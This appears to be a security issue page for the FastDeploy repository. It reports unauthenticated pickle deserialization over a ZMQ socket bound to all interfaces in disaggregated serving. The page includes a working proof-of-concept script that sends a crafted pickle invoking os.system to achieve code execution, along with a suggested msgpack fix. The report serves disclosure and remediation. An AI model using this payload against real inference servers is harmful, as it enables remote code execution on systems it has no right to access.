PaddlePaddle / PaddlePaddle/FastDeploy
Unauthenticated pickle deserialization via ZMQ wildcard bind in splitwise P/D disaggregated serving
@ckl117 is already working on this.
Since Jul 14, 2026.
- Dominant language
- Python
- Stars
- 3.7k
- Forks
- 756
- Avg merge
- 19h 28m
- Merged PRs (30d)
- 4
Description
Summary
FastDeploy's splitwise connector (splitwise_connector.py) binds a ZMQ ROUTER socket on tcp://* (all network interfaces, 0.0.0.0) and calls pickle.loads() on received frames with no authentication. Any host that can reach the port sends a crafted pickle payload and achieves arbitrary code execution on the inference worker.
Affected Version
- Repository: https://github.com/PaddlePaddle/FastDeploy
- Branch:
develop(latest) - File:
fastdeploy/splitwise/splitwise_connector.py:78,389
he vulnerable socket is bound ONLY when splitwise_role != "mixed"
(splitwise_connector.py:59 gates _init_network()). The default is splitwise_role="mixed"
(engine/args_utils.py:359), which does NOT bind this socket — so a default single-node deployment is
not exposed. The vulnerability is reached when the operator runs P/D-disaggregated serving
(--splitwise-role prefill|decode).
-
Dedicated documentation page —
docs/features/disaggregated.md
provides a full deployment guide titled "Disaggregated Deployment", with
Quick Start instructions that directly tell users to run--splitwise-role prefilland
--splitwise-role decode. -
Official example scripts —
examples/splitwise/
shipsstart_v1_tp1.sh,start_v1_tp2.sh,start_v1_dp2.sh— production-ready launch scripts
with--splitwise-role prefill|decode.
Root Cause
# fastdeploy/splitwise/splitwise_connector.py:73-78 — ZMQ ROUTER bind
def _init_network(self):
self.router_socket = self.zmq_ctx.socket(zmq.ROUTER)
self.router_socket.setsockopt(zmq.LINGER, 0)
self.router_socket.setsockopt(zmq.SNDHWM, 1000)
self.router_socket.setsockopt(zmq.ROUTER_MANDATORY, 1)
self.router_socket.bind(f"tcp://*:{self.cfg.cache_config.local_pd_comm_port}") # ← 0.0.0.0
# fastdeploy/splitwise/splitwise_connector.py:367-390 — pickle.loads on network data
def _deserialize_message(self, frames: List[bytes]):
main_bytes = frames[1]
buffers = frames[2:]
message = pickle.loads(main_bytes, buffers=buffers) # ← RCE sink
return message["type"], message["payload"]
tcp://*binds on ALL network interfaces — exposed to the entire networkpickle.loads()deserializes arbitrary bytes from the ZMQ ROUTER socket- No authentication, no encryption, no signature verification
- Triggered in P/D-disaggregated deployments when
splitwise_role != "mixed"
Steps to Reproduce
python poc.py
poc.py
#!/usr/bin/env python3
import subprocess, sys, os
INNER = r"""
import subprocess, sys, os, types
REPO = "/opt/FastDeploy"
subprocess.run(["git", "clone", "--depth=1",
"https://github.com/PaddlePaddle/FastDeploy.git", REPO],
check=True, capture_output=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "--root-user-action=ignore",
"paddlepaddle"], check=True, capture_output=True)
reqs = open(os.path.join(REPO, "requirements.txt")).read().splitlines()
skip = {"cupy-cuda12x","triton","paddlecodec","paddleformers","visualdl",
"moviepy","p2pstore","fast_dataindex","aistudio_sdk",
"flashinfer-python-paddle","xlwt","gradio"}
deps = []
for r in reqs:
r = r.strip()
if not r or r.startswith("#") or r.startswith("http"):
continue
n = r.split(">=")[0].split("<=")[0].split("==")[0].split(">")[0].split("<")[0].split("[")[0].split("@")[0].strip()
if n.lower().replace("-","_") not in {s.replace("-","_") for s in skip}:
deps.append(r)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "--root-user-action=ignore"] + deps,
check=True, capture_output=True)
init_path = os.path.join(REPO, "fastdeploy", "__init__.py")
src = open(init_path).read()
cut = src.find("from paddleformers")
if cut > 0:
open(init_path, "w").write(src[:cut])
class _Shim:
_PFX = ("paddleformers","aistudio_sdk","fast_dataindex","p2pstore",
"paddlecodec","visualdl","moviepy","cupy","triton",
"use_triton_in_paddle","flashinfer")
def find_module(self, name, path=None):
return self if any(name == p or name.startswith(p+".") for p in self._PFX) else None
def load_module(self, name):
if name in sys.modules: return sys.modules[name]
m = types.ModuleType(name); m.__path__ = []; m.__package__ = name; m.__loader__ = self
class _P(type(m)):
def __getattr__(c, n):
return type(n, (), {"__init__": lambda *a,**k: None,
"__getattr__": lambda s,n: lambda *a,**k: None})()
m.__class__ = _P; sys.modules[name] = m; return m
sys.meta_path.append(_Shim())
sys.path.insert(0, REPO)
from fastdeploy.splitwise.splitwise_connector import SplitwiseConnector
for mod in ["fastdeploy.splitwise.splitwise_connector", "fastdeploy.envs",
"fastdeploy.engine.request", "fastdeploy.metrics.metrics", "fastdeploy.utils"]:
f = getattr(sys.modules[mod], "__file__", "")
assert f.endswith(".py") and "/FastDeploy/" in f, f"{mod} not real: {f}"
import zmq, pickle, threading, time
MARKER = "/tmp/FASTDEPLOY_PWNED"
PORT = 19998
class Cfg:
class parallel_config:
local_data_parallel_id = 0
data_parallel_size = 1
class scheduler_config:
splitwise_role = "prefill"
class cache_config:
local_pd_comm_port = PORT
class Q:
def put_disaggregated_tasks(self, *a): pass
def put_cache_info(self, *a): pass
conn = SplitwiseConnector(Cfg, Q(), None)
threading.Thread(target=conn.start_receiver, daemon=True).start()
time.sleep(0.5)
class X:
def __reduce__(self):
return (os.system, (f"id > {MARKER}",))
ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.setsockopt(zmq.LINGER, 0)
s.connect(f"tcp://127.0.0.1:{PORT}")
s.send_multipart([pickle.dumps(X(), protocol=5)])
time.sleep(2)
s.close(); ctx.term()
assert os.path.exists(MARKER), "exploit failed"
print(f"RCE CONFIRMED: {open(MARKER).read().strip()}")
"""
def main():
d = os.path.dirname(os.path.abspath(__file__))
p = os.path.join(d, "_inner.py")
open(p, "w").write(INNER)
subprocess.run(["docker", "pull", "-q", "python:3.11-slim"],
check=True, capture_output=True)
r = subprocess.run(
["docker", "run", "--rm", "-v", f"{p}:/poc.py:ro", "python:3.11-slim",
"bash", "-c", "apt-get update -qq && apt-get install -y -qq git >/dev/null 2>&1 && python3 /poc.py"],
text=True, timeout=600)
os.remove(p)
print(r.stdout)
sys.exit(r.returncode)
if __name__ == "__main__":
main()
Suggested Fix
- Replace
pickle.loadswith safe serialization (msgpack / protobuf / struct):
import msgpack
def _deserialize_message(self, frames):
main_bytes = frames[1]
message = msgpack.unpackb(main_bytes, raw=False)
return message["type"], message["payload"]
def _serialize_message(self, msg_type, payload):
if msg_type in ("decode", "prefill"):
payload = [output.to_dict() for output in payload]
data = {"type": msg_type, "payload": payload}
return [msgpack.packb(data, use_bin_type=True)]
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Assessment
This issue has not been assessed yet.